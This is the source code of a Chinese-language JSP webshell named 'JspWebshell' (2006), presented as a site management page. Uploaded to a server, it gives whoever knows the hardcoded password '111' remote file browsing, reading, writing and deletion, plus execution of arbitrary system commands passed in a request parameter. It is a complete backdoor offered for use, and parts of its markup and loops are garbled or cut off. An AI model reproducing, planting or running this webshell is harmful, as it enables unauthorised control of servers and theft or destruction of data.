%@ page contentType="text/html; charset=GBK" language="java" import="java.sql.*,java.io.File,java.io.*,java.nio.charset.Charset,java.io.IOException,java.util.*" errorPage="" %> <% /** *
Title:JspWebshell
* *Description: jsp网站管理
* *Copyright:绝对零度[B.C.T] Copyright (c) 2006
* *Company: zero.cnbct.org
* PS:本程序是小弟处于兴趣所写,如有疑问请联系QQ:48124012 * @version 1.2 */ String path=""; String selfName=""; boolean copyfinish=false; %> <% selfName=request.getRequestURI(); // String editfile=""; String editfile=request.getParameter("editfile"); if (editfile!=null) {editfile=new String(editfile.getBytes("ISO8859_1")); } path=request.getParameter("path"); if(path==null) path=config.getServletContext().getRealPath("/"); %> <%! String _password ="111";//密码 public String readAllFile(String filePathName) throws IOException { FileReader fr = new FileReader(filePathName); int count = fr.read(); String res=""; while(count != -1) { //System.out.print((char)count); res=res+(char)count; count = fr.read(); if(count == 13) { fr.skip(1); } } fr.close(); return res; } public void writeFile(String filePathName,String args) throws IOException { FileWriter fw = new FileWriter(filePathName); PrintWriter out=new PrintWriter(fw); out.write(args); out.println(); out.flush(); fw.close(); out.close(); } public boolean createFile(String filePathName) throws IOException { boolean result = false; File file = new File(filePathName); if(file.exists()) { System.out.println("文件已经存在!"); } else { file.createNewFile(); result = true; System.out.println("文件已经创建!"); } return result; } public boolean createFolder(String fileFolderName) { boolean result = false; try { File file = new File(fileFolderName); if(file.exists()) { //file.delete(); System.out.println("目录已经存在!"); result = true; } else { file.mkdir(); System.out.println("目录已经建立!"); result = true; } } catch(Exception ex) { result = false; System.out.println("CreateAndDeleteFolder is error:"+ex); } return result; } public boolean DeleteFolder(String filefolderName) { boolean result = false; try { File file = new File(filefolderName); if(file.exists()) { file.delete(); System.out.println("目录已删除!"); result = true; } } catch(Exception ex) { result = false; System.out.println("CreateAndDeleteFolder is error:"+ex); } return result; } public boolean validate(String password) { if (password.equals(_password)) { return true; } else { return false; } } public String HTMLEncode(String str) { str = str.replaceAll(" ", " "); str = str.replaceAll("<", "<"); str = str.replaceAll(">", ">"); str = str.replaceAll("\r\n", "
|
服务器相关参数 | ||||||||||||||||||||||||||||||||||||
|
JAVA相关参数 | |||||||||||||||||||||||||||||||||
|
JspWebShell version 1.0(网站目录:<%=config.getServletContext().getRealPath("/")%>) | |||
<% File[] fs = File.listRoots(); for (int i = 0; i < fs.length; i++){ %> 本地磁盘(<%=fs[i].getPath()%>) <%}%> | |||
<% String cmd = ""; InputStream ins = null; String result = ""; if (request.getParameter("command") != null) { cmd = (String)request.getParameter("command");result = exeCmd(cmd);%> <%=result == "" ? " " : result%> <%}%> |
|||
<%if(copyfinish==true) out.print("复制成功");%> | |||
<% try {
//path=request.getParameter("path");
//if(path==null)
//path=config.getServletContext().getRealPath("/");
File f=new File(path);
File[] fList= f.listFiles() ;
for (int j=0;j <% } }//for } catch (Exception e) { System.out.println("不存在或没有权限"); } %> |
<% try {
path=request.getParameter("path");
if(path==null)
path=config.getServletContext().getRealPath("/");
File f=new File(path);
File[] fList= f.listFiles() ;
for (int j=0;j <% } }//for } catch (Exception e) { System.out.println("不存在或没有权限"); } %> |
Power By 绝对零度[B.C.T] QQ:48124012
<%}//if edit } } %>